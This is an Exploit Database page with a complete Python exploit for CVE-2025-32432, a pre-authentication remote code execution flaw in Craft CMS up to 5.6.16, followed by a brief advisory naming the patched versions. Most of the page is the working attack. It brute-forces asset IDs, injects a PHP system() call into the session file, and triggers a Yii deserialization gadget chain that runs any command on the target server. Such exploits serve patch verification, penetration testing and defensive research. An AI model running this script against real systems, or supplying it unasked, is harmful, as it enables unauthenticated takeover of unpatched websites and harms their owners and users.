This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Craft CMS 5.6.16 - RCE EDB-ID: 52525 CVE: 2025-32432 EDB Verified: Author: BANYAMER Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-29 Vulnerable App: # Exploit Title: Craft CMS 5.6.16 - RCE # Google Dork: N/A # Date: 2026-01-24 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Vendor Homepage: https://craftcms.com # Software Link: https://github.com/craftcms/cms # Version: <= 3.9.14, <= 4.14.14, <= 5.6.16 # Tested on: Linux, Apache/Nginx, PHP 8.x # CVE: CVE-2025-32432 # # Description: # Craft CMS contains a pre-authentication remote code execution vulnerability # in the assets/generate-transform endpoint. By abusing a Yii deserialization # gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session # file, an unauthenticated attacker can achieve arbitrary command execution. # import requests import argparse import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def find_asset_id(base_url, max_attempts=300): """ Brute-force search for a valid Asset ID. This is optional and may be unreliable on some installations. """ session = requests.Session() session.verify = False print("[*] Brute-forcing Asset ID (best-effort)...") for asset_id in range(1, max_attempts + 1): url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": "invalid" } ] } } } try: r = session.post(url, json=payload, timeout=5) if r.status_code != 404: print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})") return asset_id except: continue print(f"[-] No valid Asset ID found after {max_attempts} attempts.") return None def implant_php(base_url, cmd): """ Step 1: Poison the PHP session file with injected PHP code. This relies on old-style behavior where query parameters are written into the session file without sanitization. """ injection = f"<?php system('{cmd}'); ?>" url = f"{base_url}/index.php?p=admin/dashboard&a={injection}" try: r = requests.get(url, verify=False, timeout=10) if r.status_code == 200: print(f"[+] Session poisoning request sent successfully") return True else: print(f"[-] Injection failed (HTTP {r.status_code})") return False except Exception as e: print(f"[-] Injection error: {e}") return False def execute_command(base_url, asset_id, session_id): """ Step 2: Trigger deserialization and force PhpManager to include the poisoned session file from /tmp/sess_<PHPSESSID>. """ url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": f"/tmp/sess_{session_id}" } ] } } } try: r = requests.post(url, json=payload, verify=False, timeout=15) return r.text except Exception as e: return f"[-] Execution request failed: {e}" def main(): parser = argparse.ArgumentParser( description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. https://victim.com)") parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g. id, whoami)") parser.add_argument("-a", "--asset", type=int, help="Known valid Asset ID (recommended)") parser.add_argument("-s", "--scan-max", type=int, default=300, help="Max Asset ID brute-force range (optional)") args = parser.parse_args() base_url = args.url.rstrip('/') session = requests.Session() session.verify = False # Step 0: Obtain PHP session ID try: r = session.get(f"{base_url}/index.php", verify=False, timeout=10) session_id = session.cookies.get("PHPSESSID", None) if not session_id: print("[-] Failed to obtain PHPSESSID") return print(f"[+] Obtained PHPSESSID: {session_id}") except Exception as e: print(f"[-] Failed to establish session: {e}") return # Determine Asset ID asset_id = args.asset if not asset_id: asset_id = find_asset_id(base_url, args.scan_max) if not asset_id: print("[-] Exploitation aborted: no valid Asset ID found") return print(f"[+] Using Asset ID: {asset_id}") # Step 1: Poison session file if not implant_php(base_url, args.cmd): print("[-] Session poisoning failed") return print("[*] Waiting for session file to be written...") time.sleep(2) # Step 2: Trigger RCE print(f"[*] Triggering command execution: {args.cmd}") output = execute_command(base_url, asset_id, session_id) # Output handling print("\n[+] Server response:") print(output[:2000]) if __name__ == "__main__": print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===") main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
A critical pre-authentication remote code execution vulnerability (CVE-2025-32432, CVSS 10.0) exists in Craft CMS, allowing unauthenticated attackers to execute arbitrary commands by exploiting a Yii deserialization gadget chain in the `assets/generate-transform` endpoint and poisoning a PHP session file. Affected versions include Craft CMS 3.0.0 through 3.9.14, 4.0.0 through 4.14.14, and 5.0.0 through 5.6.16. The flaw is remediated by upgrading to versions 3.9.15, 4.14.15, or 5.6.17, respectively.